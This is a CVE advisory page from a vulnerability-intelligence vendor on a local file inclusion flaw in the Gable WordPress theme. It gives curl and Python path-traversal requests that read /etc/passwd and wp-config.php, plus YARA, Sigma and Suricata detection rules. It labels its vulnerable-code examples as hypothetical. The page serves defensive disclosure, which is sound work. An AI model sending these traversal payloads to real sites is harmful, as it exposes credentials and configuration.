☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themerex logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69395

CVE-2025-69395 Local File Inclusion in Themerex
📅 PUBLISHED: 2026-02-20 15:46 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69395 is a critical security vulnerability affecting the Gable WordPress theme developed by ThemeREX. The vulnerability is a PHP Local File Inclusion (LFI) flaw, stemming from improper control of a filename used in an include/require statement. This allows an unauthenticated attacker to include arbitrary local files from the server, potentially leading to sensitive information disclosure, such as configuration files, database credentials, or source code. The vulnerability affects all versions of the Gable theme up to and including version 1.5. No official patch has been released at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress ecosystem, residing within the Gable theme. It is not a server-level issue (e.g., Apache or Nginx) but a flaw in the theme's PHP code. Attackers can exploit this by crafting a malicious request that manipulates the file inclusion parameter, bypassing any input sanitization.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality: High (C:H) – Full file read access.
  • Integrity: None (I:N) – No file modification.
  • Availability: None (A:N) – No denial of service.

Threat Level: High. The low attack complexity and lack of authentication make this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) issue, classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). The Gable theme likely uses a dynamic include statement (e.g., include($_GET['file']);) without proper sanitization or validation of the user-supplied input.

How it works:

  1. The theme's PHP code accepts a parameter (e.g., file, page, or template) via GET or POST request.
  2. This parameter is directly passed to a PHP function like include(), require(), or include_once().
  3. An attacker can manipulate this parameter to include arbitrary files from the server, such as /etc/passwd, /wp-config.php, or log files.
  4. By using path traversal sequences (e.g., ../../../../etc/passwd), the attacker can escape the intended directory and read sensitive files.

Example vulnerable code snippet:

<?php
$file = $_GET['file'];
include($file . '.php');
?>

An attacker could request: http://target.com/?file=../../../../etc/passwd%00 (using null byte injection in older PHP versions) or simply http://target.com/?file=../../../wp-config to read the WordPress configuration file.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison.

Vulnerable Code (Gable <= 1.5):

<?php
// Vulnerable: Direct user input used in include
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );
?>

Patched Code (Hypothetical):

<?php
// Patched: Whitelist allowed templates
$allowed_templates = array('home', 'single', 'page', 'archive');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Default fallback
    include( get_template_directory() . '/templates/page.php' );
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install a local WordPress instance with the Gable theme (version <= 1.5).
  2. Ensure the server is accessible (e.g., via http://localhost/wordpress).

Exploitation Steps:

  1. Identify the vulnerable parameter (e.g., template, file, page). Common parameters in WordPress themes include page_id, template, or file.
  2. Craft a request to read /etc/passwd:
    curl "http://localhost/wordpress/?template=../../../../../../etc/passwd%00"
    
    (Note: Null byte injection works on PHP < 5.3.4; for newer versions, use path traversal without null byte, e.g., ../../../../../../etc/passwd).
  3. If successful, the file content will be displayed in the response.
  4. To read wp-config.php:
    curl "http://localhost/wordpress/?template=../../../wp-config"
    

Automated Exploitation (using Python):

import requests

target = "http://localhost/wordpress/"
params = {'template': '../../../../../../etc/passwd'}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

  • Monitor web server logs for suspicious GET/POST requests containing path traversal sequences (e.g., ../, %2e%2e/, ..%2f).
  • Look for requests to the theme's template files with unexpected parameters.
  • Use WAF rules to block common LFI patterns.

Mitigation:

  • Immediately disable or remove the Gable theme if no patch is available.
  • Implement a Web Application Firewall (WAF) with rules to block path traversal attempts.
  • Apply virtual patching by modifying the theme's code to whitelist allowed files.

Indicators of Compromise (IOCs)

  • File Paths: /etc/passwd, /wp-config.php, /etc/shadow, /proc/self/environ
  • URL Patterns: ?template=../../, ?file=../../, ?page=../../
  • Log Entries: Requests containing %00, ..%2f, %2e%2e%2f
  • Response Content: Presence of system files (e.g., root:x:0:0:root:/root:/bin/bash) in HTTP responses.

Detection Engineering

YARA Rule

rule CVE_2025_69395_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting CVE-2025-69395 in Gable theme"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $path_traversal1 = /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/ nocase
        $wp_config = /wp-config\.php/i
        $etc_passwd = /etc\/passwd/i
        $gable_param = /(\?|&)(template|file|page)=/ nocase
    condition:
        $gable_param and ($path_traversal1 or $wp_config or $etc_passwd)
}

Sigma Rule

title: CVE-2025-69395 LFI Attempt on Gable Theme
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in HTTP requests targeting the Gable WordPress theme
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '..%2f'
            - '%2e%2e%2f'
            - '..\\'
            - 'wp-config.php'
            - '/etc/passwd'
        c-uri|contains|all:
            - 'template='
            - 'file='
            - 'page='
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69395 LFI Attempt on Gable Theme"; flow:to_server,established; content:"template="; http_uri; content:"../"; http_uri; distance:0; content:"wp-config.php"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable or remove the Gable theme from all WordPress installations until a patch is released.
  2. Virtual Patching: If the theme cannot be removed, modify the vulnerable PHP file to whitelist allowed template names (see patched code example).
  3. WAF Rules: Deploy a Web Application Firewall with rules to block path traversal sequences (e.g., ../, ..%2f, %2e%2e%2f).
  4. File Permissions: Ensure sensitive files (e.g., wp-config.php) have restrictive permissions (e.g., 640) and are not readable by the web server user.
  5. Monitoring: Enable detailed logging and monitor for LFI patterns. Use the provided Sigma and Suricata rules for automated detection.
  6. Update: Regularly check for updates from ThemeREX and apply patches as soon as they become available.

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69395/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.